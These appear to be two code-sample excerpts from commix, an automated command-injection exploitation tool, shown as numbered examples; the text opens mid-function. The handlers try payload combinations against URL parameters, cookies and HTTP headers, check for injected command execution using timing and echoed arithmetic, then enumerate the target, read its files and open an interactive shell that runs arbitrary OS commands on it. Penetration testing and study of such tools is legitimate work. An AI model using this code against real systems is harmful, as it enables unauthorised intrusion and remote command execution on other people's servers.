                    sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
                    sys.stdout.flush()
                
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
            
            break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 22
0
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  if settings.TIME_RELATIVE_ATTACK == False: 
    warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
    print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
    settings.TIME_RELATIVE_ATTACK = None

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print(settings.print_critical_msg(err_msg))

  if not settings.LOAD_SESSION: 
    # Change TAG on every request to prevent false-positive resutls.
    TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) 

  if settings.VERBOSITY_LEVEL != 0:
    info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
    print(settings.print_info_msg(info_msg))

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION:
            try:
              settings.TEMPFILE_BASED_STATE = True 
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
              OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          else:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
            alter_shell = menu.options.alter_shell
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                # Tempfile-based decision payload (check if host is vulnerable).
                if alter_shell :
                  payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
                else:
                  payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print(settings.print_payload(payload_msg))
                elif settings.VERBOSITY_LEVEL >= 2:
                  debug_msg = "Generating payload for the injection."
                  print(settings.print_debug_msg(debug_msg))
                  print(settings.print_payload(payload)) 
                  
                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                  
                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom HTTP header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

                if percent == 100 and no_result == True:
                  if settings.VERBOSITY_LEVEL == 0:
                    percent = settings.FAIL_STATUS
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          proceed_option = _input(settings.print_question_msg(question_msg))
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c"
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print(settings.print_error_msg(err_msg))
                          pass

                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(0, 4)
                      randv2 = random.randrange(1, 5)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if settings.VERBOSITY_LEVEL == 0:
                            percent = settings.info_msg
                          else:
                            percent = ""
                          #break  
                      else:
                        break
                    # False positive
                    else:
                      if settings.VERBOSITY_LEVEL == 0:
                        percent = ".. (" + str(float_percent) + "%)"
                        info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = ".. (" + str(float_percent) + "%)"
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if settings.VERBOSITY_LEVEL == 0:
                  info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()
                  
              except KeyboardInterrupt: 
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except SystemExit:
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                if 'cmd' in locals():
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if settings.VERBOSITY_LEVEL == 0:
                      percent = settings.FAIL_STATUS
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = ".. (" + str(float_percent) + "%)"
                    print(settings.SINGLE_WHITESPACE)
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = ".. (" + str(float_percent) + "%)"
              break
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                if whitespace == "%20":
                  whitespace = " "
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.HOST_INJECTION == True: 
                header_name = " Host"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method != settings.HTTPMETHOD.POST:
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if settings.VERBOSITY_LEVEL == 0:
                  print(settings.SINGLE_WHITESPACE)
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              info_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                info_msg += " " + http_request_method 
              info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              info_msg += found_vuln_parameter + " seems injectable via "
              info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print(settings.print_bold_info_msg(info_msg))
              sub_content = str(checks.url_decode(payload))
              print(settings.print_sub_content(sub_content))
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
                
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)  
              if settings.TARGET_OS == "win":
                time.sleep(1)
              
              new_line = False  
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True :
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "Y"
                  if enumerate_again in settings.CHOICE_YES:
                    tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    print(settings.SINGLE_WHITESPACE)
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                if menu.enumeration_options():
                  tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  print(settings.SINGLE_WHITESPACE)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True :
                print(settings.SINGLE_WHITESPACE)
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    file_access_again = _input(settings.print_question_msg(question_msg))
                  else:
                    file_access_again = ""
                  if len(file_access_again) == 0:
                    file_access_again = "Y"
                  if file_access_again in settings.CHOICE_YES:
                    tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break
                  elif file_access_again in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print(settings.SINGLE_WHITESPACE)
                tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                # Export injection result
                tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                # Delete previous shell (text) files (output) from temp.
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                logs.print_logs_notification(filename, url) 
                raise SystemExit()  

              if settings.VERBOSITY_LEVEL != 0 or not new_line:
                print(settings.SINGLE_WHITESPACE)
              try:    
                # Pseudo-Terminal shell
                go_back = False
                go_back_again = False
                while True:
                  if go_back == True:
                    break
                  if not menu.options.batch:
                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                    gotshell = _input(settings.print_question_msg(question_msg))
                  else:
                    gotshell = ""
                  if len(gotshell) == 0:
                     gotshell = "Y"
                  if gotshell in settings.CHOICE_YES:
                    # if not menu.options.batch:
                    #   print(settings.SINGLE_WHITESPACE)
                    print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                    if settings.READLINE_ERROR:
                      checks.no_readline_module()
                    while True:
                      if false_positive_warning:
                        warn_msg = "Due to unexpected time delays, it is highly "
                        warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                        sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                        false_positive_warning = False
                      if not settings.READLINE_ERROR:
                        checks.tab_autocompleter()
                      cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                        # Export injection result
                        tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print("\n" + settings.print_output(output) + "\n")
                      # Update logs with executed cmds and execution results.
                      logs.executed_command(filename, cmd, output)

                  elif gotshell in settings.CHOICE_NO:
                    if checks.next_attack_vector(technique, go_back) == True:
                      break
                    else:
                      if no_result == True:
                        return False 
                      else:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                        return True  
                  elif gotshell in settings.CHOICE_QUIT:
                    # Delete previous shell (text) files (output) from temp.
                    delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise SystemExit()
                  else:
                    err_msg = "'" + gotshell + "' is not a valid answer."  
                    print(settings.print_error_msg(err_msg))
                    pass

              except KeyboardInterrupt:
                if settings.VERBOSITY_LEVEL != 0:
                  print(settings.SINGLE_WHITESPACE)
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise  

              except SystemExit: 
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 
  
              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print(settings.print_error_msg(err_msg))
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                raise 

  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print(settings.SINGLE_WHITESPACE)
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 23
0
def cb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False

    injection_type = "Results-based Command Injection"
    technique = "classic injection technique"

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    i = i + 1

                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for i in range(6))

                    randv1 = random.randrange(100)
                    randv2 = random.randrange(100)
                    randvcalc = randv1 + randv2

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    try:
                        if alter_shell:
                            # Classic -alter shell- decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision_alter_shell(
                                separator, TAG, randv1, randv2)
                        else:
                            # Classic decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision(
                                separator, TAG, randv1, randv2)

                        # Define prefixes & suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        if menu.options.base64:
                            payload = urllib.unquote(payload)
                            payload = base64.b64encode(payload)
                        else:
                            if separator == " ":
                                payload = re.sub(" ", "%20", payload)
                            else:
                                payload = re.sub(" ", whitespace, payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY +
                                             "(~) Payload: " + payload +
                                             Style.RESET_ALL)

                        # if need page reload
                        if menu.options.url_reload:
                            time.sleep(delay)
                            response = urllib.urlopen(url)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            response = cb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            response = cb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            response = cb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            response, vuln_parameter = cb_injector.injection_test(
                                payload, http_request_method, url)

                        # Evaluate test results.
                        shell = cb_injector.injection_test_results(
                            response, TAG, randvcalc)

                        if not menu.options.verbose:
                            percent = ((i * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((i * 100) / (total * 1.0)), 2))

                            if percent == 100:
                                if no_result == True:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                            elif len(shell) != 0:
                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                            else:
                                percent = str(float_percent) + "%"
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        raise

                    except:
                        continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        # Print the findings to terminal.
                        print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOISE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif enumerate_again in settings.CHOISE_NO:
                                    break
                                elif enumerate_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                    pass
                        else:
                            cb_enumeration.do_check(separator, TAG, prefix,
                                                    suffix, whitespace,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    "(?) Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOISE_YES:
                                    if not menu.options.verbose:
                                        print ""
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif file_access_again in settings.CHOISE_NO:
                                    break
                                elif file_access_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                    pass
                        else:
                            cb_file_access.do_check(separator, TAG, prefix,
                                                    suffix, whitespace,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename)

                        # Pseudo-Terminal shell
                        go_back = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                "(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOISE_YES:
                                print ""
                                print "Pseudo-Terminal (type '?' for shell options)"
                                while True:
                                    try:
                                        cmd = raw_input("Shell > ")
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
